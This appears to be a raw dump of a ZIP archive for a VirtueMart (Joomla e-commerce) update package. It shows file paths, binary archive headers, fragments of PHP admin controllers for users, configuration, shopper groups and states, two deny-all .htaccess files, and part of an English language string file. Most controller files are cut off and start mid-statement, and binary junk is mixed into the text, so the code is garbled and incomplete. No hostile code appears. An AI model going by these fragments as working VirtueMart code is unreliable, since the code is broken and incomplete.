PKtl>\BndPPQcom_virtuemart_update/administrator/components/com_virtuemart/controllers/log.phpnuW+AsetRedirect('index.php?option=com_virtuemart&view=log' ); } } // pure php no closing tagPKtl>\ |Wcom_virtuemart_update/administrator/components/com_virtuemart/controllers/inventory.phpnuW+A\"KTcom_virtuemart_update/administrator/components/com_virtuemart/controllers/coupon.phpnuW+A\VVRcom_virtuemart_update/administrator/components/com_virtuemart/controllers/user.phpnuW+Aedit(); } function editshop(){ $user = JFactory::getUser(); //the virtuemart_user_id var gets overriden in the edit function, when not set. So we must set it here JRequest::setVar('virtuemart_user_id', (int)$user->id); $this->edit(); } function cancel(){ $lastTask = JRequest::getWord('last_task'); if ($lastTask == 'edit_shop') $this->setRedirect('index.php?option=com_virtuemart'); else $this->setRedirect('index.php?option=com_virtuemart&view=user'); } /** * Handle the save task * Checks already in the controller the rights todo so and sets the data by filtering the post * * @author Max Milbers */ function save($data = 0){ $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView('user', $viewType); $_currentUser = JFactory::getUser(); // TODO sortout which check is correctt..... // if (!$_currentUser->authorize('administration', 'manage', 'components', 'com_users')) { if (!$_currentUser->authorize('core.edit', 'com_users')) { $msg = JText::_(_NOT_AUTH); } else { $model = VmModel::getModel('user'); $data = JRequest::get('post'); // Store multiple selectlist entries as a ; separated string if (array_key_exists('vendor_accepted_currencies', $data) && is_array($data['vendor_accepted_currencies'])) { $data['vendor_accepted_currencies'] = implode(',', $data['vendor_accepted_currencies']); } // TODO disallow vendor_store_name as HTML ? $data['vendor_store_name'] = JRequest::getVar('vendor_store_name','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_store_desc'] = JRequest::getVar('vendor_store_desc','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_terms_of_service'] = JRequest::getVar('vendor_terms_of_service','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_legal_info'] = JRequest::getVar('vendor_legal_info','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_css'] = JRequest::getVar('vendor_letter_css','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_header_html'] = JRequest::getVar('vendor_letter_header_html','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_footer_html'] = JRequest::getVar('vendor_letter_footer_html','','post','STRING',JREQUEST_ALLOWHTML); $ret=$model->store($data); if(!$ret){ $msg = ''; } else { $msg = $ret['message']; } } $cmd = JRequest::getCmd('task'); $lastTask = JRequest::getWord('last_task'); if($cmd == 'apply'){ if ($lastTask == 'editshop') $redirection = 'index.php?option=com_virtuemart&view=user&task=editshop'; else $redirection = 'index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]='.$ret['newId']; } else { if ($lastTask == 'editshop') $redirection = 'index.php?option=com_virtuemart'; else $redirection = 'index.php?option=com_virtuemart&view=user'; } // $this->setRedirect($redirection, $ret['message']); $this->setRedirect($redirection); } } //No Closing tag PKtl>\^Ucom_virtuemart_update/administrator/components/com_virtuemart/controllers/country.phpnuW+A\,bVh Tcom_virtuemart_update/administrator/components/com_virtuemart/controllers/config.phpnuW+Astore($data)) { $msg = JText::_('COM_VIRTUEMART_CONFIG_SAVED'); // Load the newly saved values into the session. VmConfig::loadConfig(); } else { $msg = $model->getError(); } $redir = 'index.php?option=com_virtuemart'; if(JRequest::getCmd('task') == 'apply'){ $redir = $this->redirectPath; } $this->setRedirect($redir, $msg); } /** * Overwrite the remove task * Removing config is forbidden. * @author Max Milbers */ function remove(){ $msg = JText::_('COM_VIRTUEMART_ERROR_CONFIGS_COULD_NOT_BE_DELETED'); $this->setRedirect( $this->redirectPath , $msg); } } //pure php no tag PKtl>\.}=//Ycom_virtuemart_update/administrator/components/com_virtuemart/controllers/orderstatus.phpnuW+A\nZcom_virtuemart_update/administrator/components/com_virtuemart/controllers/shoppergroup.phpnuW+AregisterTask( 'default','makeDefault' ); } function makeDefault() { $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('shoppergroup', 'html'); $model = VmModel::getModel('shoppergroup'); $msgtype = ''; $cids = JRequest::getVar('virtuemart_shoppergroup_id',array()); if ($model->makeDefault((int)$cids[0])) $msg = JText::_('COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY'); else { $msg = ''; // $msg = JText::_('COM_VIRTUEMART_SET_TO_DEFAULT_ERROR'); $msgtype = 'error'; } $mainframe->redirect('index.php?option=com_virtuemart&view=shoppergroup', $msg, $msgtype); } } // pure php no closing tag PKtl>\]~ttScom_virtuemart_update/administrator/components/com_virtuemart/controllers/state.phpnuW+AredirectPath .= ($country > 0) ? '&virtuemart_country_id=' . $country : ''; } /** * Retrieve full statelist */ function getList() { /* Create the view object. */ $view = $this->getView('state', 'json'); /* Now display the view. */ $view->display(null); } } PKtl>\xٶ Rcom_virtuemart_update/administrator/components/com_virtuemart/admin.virtuemart.phpnuW+AisSuperVendor()){ // if(!Permissions::getInstance()->check('admin','storeowner')){ $app = JFactory::getApplication(); vmError( 'Access restricted to Vendor and Administrator only (you are admin and should not see this messsage?)','Access restricted to Vendors and Administrator only' ); $app->redirect('index.php'); } // Require specific controller if requested if($_controller = vRequest::getCmd('view', vRequest::getCmd('controller', 'virtuemart'))) { if (file_exists(JPATH_VM_ADMINISTRATOR.DS.'controllers'.DS.$_controller.'.php')) { // Only if the file exists, since it might be a Joomla view we're requesting... require (JPATH_VM_ADMINISTRATOR.DS.'controllers'.DS.$_controller.'.php'); } else { // try plugins JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $results = $dispatcher->trigger('onVmAdminController', array($_controller)); if (empty($results)) { $app = JFactory::getApplication(); $app->enqueueMessage('Fatal Error in maincontroller admin.virtuemart.php: Couldnt find file '.$_controller); $app->redirect('index.php?option=com_virtuemart'); } } } // Create the controller $_class = 'VirtueMartController'.ucfirst($_controller); $controller = new $_class(); // Perform the Request task $controller->execute(vRequest::getCmd('task', $_controller)); vmTime($_class.' Finished task '.$_controller,'Start'); vmRam('End'); vmRamPeak('Peak'); $controller->redirect(); // pure php no closing tagPKtl>\)-com_virtuemart_update/administrator/.htaccessnuW+A Order allow,deny Deny from all PKtl>\)6com_virtuemart_update/administrator/language/.htaccessnuW+A Order allow,deny Deny from all PKtl>\3xxKcom_virtuemart_update/administrator/language/en-GB/en-GB.com_virtuemart.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_ABOUT="About" COM_VIRTUEMART_ACCESS_FORBIDDEN="Access Forbidden" COM_VIRTUEMART_ADD="New" COM_VIRTUEMART_ADDRESS="Address" COM_VIRTUEMART_ADD_COMMENT="Add Comment" COM_VIRTUEMART_ADD_RATING="Add Rating" COM_VIRTUEMART_ADD_SHIPTO_1="Add a new" COM_VIRTUEMART_ADD_SHIPTO_2="Shipment Address" COM_VIRTUEMART_ADMIN="Control Panel" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS="Enable database Update tools" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS_EXPLAIN="Here you can activate tools, which are written for testing and uninstallation. They are used to reset the shop in the installation conditions. Consider that after using a dangerous tool, the configuration is set back to none again." COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE="No override" COM_VIRTUEMART_ADMIN_PAYMENT_CONFIGURATION="Configuration" COM_VIRTUEMART_ADMIN_PAYMENT_FORM="Payment Method Information" COM_VIRTUEMART_ADMIN_SECURITY_SETTINGS="Security Settings" COM_VIRTUEMART_ADMIN_SHIPMENT_CONFIGURATION="Configuration" COM_VIRTUEMART_ADMIN_SHIPMENT_FORM="Shipment Method Information" COM_VIRTUEMART_ADMIN_STORE_CREDITCARD_DATA="Store Credit Card Information?" COM_VIRTUEMART_ADMIN_UPDATES="Updates" COM_VIRTUEMART_ADVANCED_SEARCH="Advanced Search" COM_VIRTUEMART_AD_ACY="For a more complex solution to send emails, you may try:
      %s" COM_VIRTUEMART_AES_ENCRYPT_STRONG_SECURITY="AES_ENCRYPT (strong security)" COM_VIRTUEMART_AJAX_PRODUCTS_LBL="%s products" COM_VIRTUEMART_AJAX_PRODUCT_LBL="1 product" COM_VIRTUEMART_ALL="All" COM_VIRTUEMART_ALL_EXTENSIONS="See All Extensions" COM_VIRTUEMART_ALL_NEWS="Read all News" COM_VIRTUEMART_APPLY="Apply" ;COM_VIRTUEMART_ASKQU_CS_MAX="too long" ;COM_VIRTUEMART_ASKQU_CS_MIN="Minimum not reached" COM_VIRTUEMART_ASKQU_INV_MAIL="Given email address is invalid" COM_VIRTUEMART_ASSIGN_ZONE_PG_LBL="Assign Zones" COM_VIRTUEMART_ATTRIBUTES="Attributes" COM_VIRTUEMART_ATTRIBUTE_LIST_NAME="Attribute Name" COM_VIRTUEMART_AVAILABILITY="Availability" COM_VIRTUEMART_AVAILABILITY_EXPLAIN="Will be displayed when Products Out of stock are orderable" COM_VIRTUEMART_BACK="Back" COM_VIRTUEMART_BACK_TO_DETAILS="Back to Product Details" COM_VIRTUEMART_CALC="Tax & Calculation Rule" COM_VIRTUEMART_CALC_DETAILS="Tax & Calculation Rule Details" COM_VIRTUEMART_CALC_EPOINT_DATAX="Price modifier after tax" COM_VIRTUEMART_CALC_EPOINT_DATAXBILL="Price modifier after tax per bill" COM_VIRTUEMART_CALC_EPOINT_DBTAX="Price modifier before tax" COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL="Price modifier before tax per bill" COM_VIRTUEMART_CALC_EPOINT_PMARGIN="Price modifier for Profit Margin" COM_VIRTUEMART_CALC_EPOINT_TAX="Tax per product" COM_VIRTUEMART_CALC_EPOINT_TAXBILL="Tax per bill" COM_VIRTUEMART_CALC_EPOINT_VATTAX="Vat tax per product" COM_VIRTUEMART_CALC_KIND="Type of Arithmetic Operation" COM_VIRTUEMART_CALC_LOCATION="Countries" COM_VIRTUEMART_CALC_NAME="Calculation Rule name" COM_VIRTUEMART_CALC_S="Taxes & Calculation Rules" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_OFF="Not Visible for Shopper" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_ON="Visible for Shopper" COM_VIRTUEMART_CALC_VALUE_MATHOP="Math Operation" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_OFF="Not Visible for Vendor" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_ON="Visible for Vendor" COM_VIRTUEMART_CALC_VIS_SHOPPER="Visible Shopper" COM_VIRTUEMART_CALC_VIS_VENDOR="Visible Vendor" COM_VIRTUEMART_CANCEL="Cancel" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_CATEGORY_GIVEN="Can't create image for category" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_MANUFACTURER_GIVEN="Can't create image for manufacturer" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_PRODUCT_GIVEN="Can't create image for product" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_VENDOR_GIVEN="Can't create image for vendor" COM_VIRTUEMART_CART_MAIL_SHOPPER_SUMMARY="

      Order confirmed

      You bought and confirmed an order in %1$s shop online.

      You can check the status of your order by going on your personal account

      " COM_VIRTUEMART_CART_MAIL_SHOPPER_YOUR_PASSWORD="Your order password:" COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="No payment selected" COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="No shipment selected" COM_VIRTUEMART_CART_PRICE="Price " COM_VIRTUEMART_CART_PRICE_FREE="No additional charge" COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Displays the Shopping Cart" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="VirtueMart Shopping Cart" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="Search for Related Categories" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="To set the parent category" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="VirtueMart Categories Layout" COM_VIRTUEMART_CATEGORY="Product Category" COM_VIRTUEMART_CATEGORY_DESCRIPTION="Category Description" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_LAYOUT="Page Layout" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_LAYOUT_DESC="Here you can override the VirtueMart page layout by assigning a different layout to a specific menu item" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE="Select a Category" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE_DESC="Select a Category" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_LAYOUT="Category Browse Page" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_PAGE="Category Template" COM_VIRTUEMART_CATEGORY_FORM_FLYPAGE="Default Product Details Page" COM_VIRTUEMART_CATEGORY_FORM_IMAGE_DELETE_LBL="Delete Image" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS="Initial number of listed items" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS_TIP="This is the number of items listed when a user enters the category without having selected a number already. This is also an override. Leave empty to use the system defaults" COM_VIRTUEMART_CATEGORY_FORM_LBL="Product Category Form" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP="Category Pagination Sequence" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP_TIP="Leave empty, to use the default set in the main config, else set a list of numbers seperated by commas that will be used in the list box on the Front End.
      Example: 6,12,18,24
      " COM_VIRTUEMART_CATEGORY_FORM_PARENT="Parent Category" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW="Number of Products per Row" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW_TIP="Leave it empty to use the default value set in the vm configuration" COM_VIRTUEMART_CATEGORY_FORM_SHARED="Category is shared?" COM_VIRTUEMART_CATEGORY_FORM_TEMPLATE="Category Template" COM_VIRTUEMART_CATEGORY_FORM_TOP_LEVEL="Top Level Category" COM_VIRTUEMART_CATEGORY_ID="Category Id" COM_VIRTUEMART_CATEGORY_NAME="Category Name" COM_VIRTUEMART_CATEGORY_ORDERING="Category Ordering" COM_VIRTUEMART_CATEGORY_S="Product Categories" COM_VIRTUEMART_CATEGORY_SHARED="Shared category" COM_VIRTUEMART_CATEGORY_SHARED_SUCCESS="Set category to shared" COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT="Use shop default" COM_VIRTUEMART_CATEGORY_UNSHARE="Unshared category" COM_VIRTUEMART_CATEGORY_UNSHARED_SUCCESS="Unshared category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Displays a single VirtueMart category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Category Layout" COM_VIRTUEMART_CHANGE_TRANSACTION_KEY="Show / Change the Transaction Key" COM_VIRTUEMART_CHILD_GENERIC_VARIANT="Generic child variant" COM_VIRTUEMART_CLONE="Clone" COM_VIRTUEMART_CLOSE="Close" COM_VIRTUEMART_CMN_NEW_ITEM_LAST="New items default to the last place. Ordering can be changed after this item is saved." COM_VIRTUEMART_CMN_OPTIONAL="Optional" COM_VIRTUEMART_COL_ROWS_ATTRIBUTES="Columns, Rows attributes" COM_VIRTUEMART_COMMENT="Comment" COM_VIRTUEMART_COMMENT_MIN_MAX="Your message should have between %s to %s characters. Thank you." COM_VIRTUEMART_COMMUNITY_FORUM="Forum" COM_VIRTUEMART_CONFIG="Configuration" COM_VIRTUEMART_CONFIGURATION="Configuration" COM_VIRTUEMART_CONFIGURATION_CHANGE_FAILURE="Unable to write into the configuration file %s!" COM_VIRTUEMART_CONFIGURATION_CHANGE_SUCCESS="The configuration details have been updated!" COM_VIRTUEMART_CONFIGURATION_MOD="Configuration" COM_VIRTUEMART_CONFIG_SAVED="Configuration Saved" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="No Shop Currency defined! Go to %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="Currency is not formatted! Go to %s" COM_VIRTUEMART_CONTROL_PANEL="Control Panel" COM_VIRTUEMART_COOKIE_MISSING="Cookie Missing" COM_VIRTUEMART_COUNTRY="Country" COM_VIRTUEMART_COUNTRY_2_CODE="Country (2) Code" COM_VIRTUEMART_COUNTRY_3_CODE="Country (3) Code" COM_VIRTUEMART_COUNTRY_DETAILS="Country Details" COM_VIRTUEMART_COUNTRY_NAME="Country Name" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME="Country Reference Name" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME_TIP="The Country Reference Name is used when no key exist in the language file for this country. Otherwise the language key will be used. The countries languages keys are in 'com_virtuemart_countries.ini' file. The key must have the prefix 'COM_VIRTUEMART_COUNTRY_' followed by the country 3 code letter" COM_VIRTUEMART_COUNTRY_S="Countries" COM_VIRTUEMART_COUPON="Coupon" COM_VIRTUEMART_COUPON_CODE="Coupon Code" COM_VIRTUEMART_COUPON_DETAILS="Coupon Details" COM_VIRTUEMART_COUPON_DISCOUNT="Coupon Discount" COM_VIRTUEMART_COUPON_EXPIRY="Coupon Expiry Date" COM_VIRTUEMART_COUPON_EXPIRY_TIP="Coupon Expiry Date" COM_VIRTUEMART_COUPON_PERCENT="Percent" COM_VIRTUEMART_COUPON_PERCENT_TOTAL="Percent or Total" COM_VIRTUEMART_COUPON_PERCTOT_TOOLTIP="Percent or Total" COM_VIRTUEMART_COUPON_S="Coupons" COM_VIRTUEMART_COUPON_START="Coupon Start Date" COM_VIRTUEMART_COUPON_START_TIP="Coupon Start Date" COM_VIRTUEMART_COUPON_SUBMIT_BUTTON="Submit" COM_VIRTUEMART_COUPON_TIP="The coupon code the client will need to enter" COM_VIRTUEMART_COUPON_TOTAL="Total" COM_VIRTUEMART_COUPON_TYPE="Coupon Type" COM_VIRTUEMART_COUPON_TYPE_GIFT="Gift Coupon" COM_VIRTUEMART_COUPON_TYPE_PERMANENT="Permanent Coupon" COM_VIRTUEMART_COUPON_TYPE_TIP="A Gift Coupon is deleted after it was used for discounting an order. A permanent coupon can be used as often as the shopper wants to." COM_VIRTUEMART_COUPON_VALUE_NOT_NUMBER="Coupon value must be a number." COM_VIRTUEMART_COUPON_VALUE_TIP="Coupon value" COM_VIRTUEMART_COUPON_VALUE_VALID_AT="Minimum Total Order" COM_VIRTUEMART_COUPON_VALUE_VALID_AT_NOT_NUMBER="Invalid Value for Order Value to be valid" COM_VIRTUEMART_COUPON_USED="Coupon used" COM_VIRTUEMART_CREATED_ON="Creation Date" COM_VIRTUEMART_CREATE_ACCOUNT="Register" COM_VIRTUEMART_CURRENCY="Currency" COM_VIRTUEMART_CURRENCY_CODE_2="Code 2 letters" COM_VIRTUEMART_CURRENCY_CODE_3="Code 3 letters" COM_VIRTUEMART_CURRENCY_DECIMALS="Decimals" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL="Decimal Symbol" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL_TIP="Character used as decimal symbol" COM_VIRTUEMART_CURRENCY_DECIMALS_TIP="Number of displayed decimals (can be 0)
      Performs rounding if value has different number of decimals" COM_VIRTUEMART_CURRENCY_DETAILS="Currency Details" COM_VIRTUEMART_CURRENCY_DISPLAY="Currency Display Style" COM_VIRTUEMART_CURRENCY_DISPLAY_EXPL="For Positive or Negative Format, use
      • {sign} for the algebraic sign,
      • {number} for the value and
      • {symbol} for the currency
      as placeholder, all html tags are allowed, except the character | is not allowed
      For example
      "{sign} <b>{number}</b> {symbol}"
      will display a price like "+ 42,23 €"" COM_VIRTUEMART_CURRENCY_END_DATE="End date" COM_VIRTUEMART_CURRENCY_ERR_CODE="You must enter a code for the currency." COM_VIRTUEMART_CURRENCY_ERR_DELETE_SELECT="Please select a currency to delete." COM_VIRTUEMART_CURRENCY_EXCHANGE_RATE="Exchange Rate" COM_VIRTUEMART_CURRENCY_FOR_VENDORS="Currency function Forbidden for non vendors" COM_VIRTUEMART_CURRENCY_NAME="currency name" COM_VIRTUEMART_CURRENCY_NEGATIVE_DISPLAY="Negative Format" COM_VIRTUEMART_CURRENCY_NUMERIC_CODE="Numeric Code" COM_VIRTUEMART_CURRENCY_POSITIVE_DISPLAY="Positive Format" COM_VIRTUEMART_CURRENCY_S="Currencies" COM_VIRTUEMART_CURRENCY_START_DATE="Start date" COM_VIRTUEMART_CURRENCY_SYMBOL="Currency Symbol" COM_VIRTUEMART_CURRENCY_THOUSANDS="Thousands Separator" COM_VIRTUEMART_CURRENTLY_NOT_AVAILABLE="This product is currently not available." COM_VIRTUEMART_CURRENT_TRANSACTION_KEY="Current Transaction Key" COM_VIRTUEMART_CUSTOM="Custom Fields" COM_VIRTUEMART_CUSTOMER_RATING="Average shopper rating" COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT="Some Plugin can contain Javascript. Please click on 'Apply' button (Joomla 1.5.x), or 'Save' button (Joomla 2.5.x) to display the appropriate parameters" COM_VIRTUEMART_CUSTOM_ADMIN_ONLY="Admin only" COM_VIRTUEMART_CUSTOM_BOOL="Boolean" COM_VIRTUEMART_CUSTOM_CANNOT_PARENT="The custom record itself cannot be the parent !" COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT="Cart User Variant" COM_VIRTUEMART_CUSTOM_CART_VARIANT="Cart Variant" COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY="The Custom Type(s) was successfully cloned" COM_VIRTUEMART_CUSTOM_DEFAULT="Default value" COM_VIRTUEMART_CUSTOM_EDITOR="Editor" COM_VIRTUEMART_CUSTOM_EXTENSION="Plug-ins" COM_VIRTUEMART_CUSTOM_FIELD_DESCRIPTION="Description" COM_VIRTUEMART_CUSTOM_FIELD_PRICE="Price: " COM_VIRTUEMART_CUSTOM_FIELD_TYPE="Custom Field Type: " COM_VIRTUEMART_CUSTOM_ID="custom id" COM_VIRTUEMART_CUSTOM_IMAGE="Image" COM_VIRTUEMART_CUSTOM_INT="Integer" COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE="Cart Attribute" COM_VIRTUEMART_CUSTOM_IS_HIDDEN="Hidden" COM_VIRTUEMART_CUSTOM_IS_LIST="Is a list?" COM_VIRTUEMART_CUSTOM_LAYOUT_POS="Layout position" COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY="Fail to clone the Custom Type(s)" COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT="No child product" COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION="No relation found" COM_VIRTUEMART_CUSTOM_NO_TYPES="No custom Fields. Please use select list to add some new fields" COM_VIRTUEMART_CUSTOM_PAGE_TITLE="Custom Page Title" COM_VIRTUEMART_CUSTOM_PARENT="Parent" COM_VIRTUEMART_CUSTOM_PO="Parent orderable" COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD="Child product" COM_VIRTUEMART_CUSTOM_SAVE_FROM_CHILD="Overwrite plugin values of the parent" COM_VIRTUEMART_CUSTOM_STRING="String" COM_VIRTUEMART_CUSTOM_TEXTAREA="Textarea" COM_VIRTUEMART_CUSTOM_TIP="Tooltip" COM_VIRTUEMART_CUSTOM_TITLE="Title" COM_VIRTUEMART_CUSTOM_WP="Display parent as option" COM_VIRTUEMART_DATE="Date" ; This is not valid joomla 1.7 !!! COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" COM_VIRTUEMART_DATE_FORMAT_LC_J16="%A, %d %B %Y" ; INPUT_J16 is used to generate date for datepicker and must be contain only m d and y with the separators COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="m/d/y" ; see http://docs.jquery.com/UI/Datepicker/formatDate to find the JS format COM_VIRTUEMART_DAY="Day" COM_VIRTUEMART_DEFAULT="Default" COM_VIRTUEMART_DEFAULT_TOP_LEVEL="Default-Top Level" COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY="Default Vendor Currency" COM_VIRTUEMART_DELETE="Delete" COM_VIRTUEMART_DELETED_X_CUSTOM_FIELD_ITEMS="%s custom field items have been deleted" COM_VIRTUEMART_DELETED_X_MEDIA_ITEMS="%s media items have been deleted" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH="Reset all tables and do a fresh install" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH_CONFIRM_JS="This deletes all tables of VirtueMart and makes a fresh install (no files). Are you sure?" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE="Reset all tables and install sample data" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE_CONFIRM_JS="This deletes all tables of VirtueMart and makes a demo install (no files). Are you sure?" COM_VIRTUEMART_DELETE_GENERAL_WARNING="Warning" COM_VIRTUEMART_DELETE_MSG="Are you sure you want to delete this record?" COM_VIRTUEMART_DELETE_RECORD="Delete this record" COM_VIRTUEMART_DELIVERYNOTE="Delivery Note" COM_VIRTUEMART_DELIVERYNOTE_CREATE="Create Delivery Note" COM_VIRTUEMART_DELIVERY_TIME="Usually ships in" COM_VIRTUEMART_DESCRIPTION="Description" COM_VIRTUEMART_DETAILS="Details" COM_VIRTUEMART_DISABLE_ITEM="Disable Item" COM_VIRTUEMART_DISPLAY_END="End Value" COM_VIRTUEMART_DISPLAY_STEP="Step Value" COM_VIRTUEMART_DISPLAY_STOCK="Display stock level" COM_VIRTUEMART_DISPLAY_STOCK_EXPLAIN="If enabled the stock level will be displayed in product category layout" COM_VIRTUEMART_DOCUMENTATION="Documentation" COM_VIRTUEMART_DOWNLOADABLE="Downloadable" COM_VIRTUEMART_DO_LOGIN="You need to login" COM_VIRTUEMART_DRDOWN_AVA2ALL="Available for all" COM_VIRTUEMART_DRDOWN_NONE="None" COM_VIRTUEMART_DRDOWN_NOTMULTILINGUAL="Select languages if your shop is Multilingual" COM_VIRTUEMART_DRDOWN_SELALL="Select all" COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS="Select some options" COM_VIRTUEMART_EDIT="Edit" COM_VIRTUEMART_EDITSHOP="Edit" COM_VIRTUEMART_EDIT_PARENT="Edit product parent" COM_VIRTUEMART_EDIT_REVIEW="Edit" COM_VIRTUEMART_EMAIL="Email" COM_VIRTUEMART_EMAIL_SENDTO="A confirmation email has been sent to" COM_VIRTUEMART_EMPTY_CATEGORY="This Category is currently empty." COM_VIRTUEMART_ENABLED="Enabled" COM_VIRTUEMART_ENABLE_ITEM="Enable item" COM_VIRTUEMART_ENCODE_INSECURE="ENCODE (insecure)" COM_VIRTUEMART_END_DATE="End Date" COM_VIRTUEMART_ENQUIRY="Enquiry" COM_VIRTUEMART_ENTER_VALID_DATE="Please enter a valid date format (YYYY-MM-DD)" COM_VIRTUEMART_ENTER_VALUE_FIELD="Please enter a value into the Field" COM_VIRTUEMART_ERROR="Error" COM_VIRTUEMART_EXCLUDING_TAX="(excluding tax)" COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND="Reminder! Also update your extensions with the AIO installer" COM_VIRTUEMART_E_IMAGES="Images" COM_VIRTUEMART_E_REMOVE="Remove" COM_VIRTUEMART_ERROR_SUBJECT="An error with your payment %s on your store %s" COM_VIRTUEMART_ERROR_BODY="Hello,\n\n%s. The details are logged in the file %s\n\nThe VirtueMart Team" COM_VIRTUEMART_FEATURED="Featured" COM_VIRTUEMART_FEATURED_PRODUCT="Featured Products" COM_VIRTUEMART_FEATURED_PRODUCTS_LIST_LBL="Featured & Discounted Products" COM_VIRTUEMART_FEE="Fee" COM_VIRTUEMART_FEED_FEATURED_EXTENSION="Featured Extensions" COM_VIRTUEMART_FEED_LATEST_EXTENSION="Latest Extensions" COM_VIRTUEMART_FEED_LATEST_NEWS="Latest News" COM_VIRTUEMART_FEED_POPULAR_EXTENSION="Popular Extensions" COM_VIRTUEMART_FEED_SUBSCRIBE_TITLE="Subscribe to the Feed of the latest Products!" COM_VIRTUEMART_FEED_SUBSCRIBE_TOCATEGORY_TITLE="Subscribe to the Feed of the latest Products in this Category!" COM_VIRTUEMART_FIELDMANAGER_COREFIELD="User field from Joomla core" COM_VIRTUEMART_FIELDMANAGER_HIDE_ACCOUNT="Account" COM_VIRTUEMART_FIELDMANAGER_HIDE_REGISTRATION="Registration" COM_VIRTUEMART_FIELDMANAGER_HIDE_SHIPPING="Shipment" COM_VIRTUEMART_FIELDMANAGER_NAME="Field name" COM_VIRTUEMART_FIELDMANAGER_REORDER="Reorder" COM_VIRTUEMART_FIELDMANAGER_REQUIRE="Required" COM_VIRTUEMART_FIELDMANAGER_REQUIRED="Required" COM_VIRTUEMART_FIELDMANAGER_SHOW_ACCOUNT="Account" COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE="Show/Hide in:" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT="Show in account maintenance" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION="Show in registration form" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING="Show in shipment form" COM_VIRTUEMART_FIELDMANAGER_SHOW_REGISTRATION="Registration" COM_VIRTUEMART_FIELDMANAGER_SHOW_SHIPPING="Shipment" COM_VIRTUEMART_FIELDMANAGER_TITLE="Field title" COM_VIRTUEMART_FIELDMANAGER_TYPE="Field type" COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE="Not Required" COM_VIRTUEMART_FIELDS_AGEVERIFICATION="Age Verification (Date Select Fields)" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_ATTRIBUTES="Age Verification (Date Select Fields) Attributes" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_MINIMUM="Specify the minimum Age" 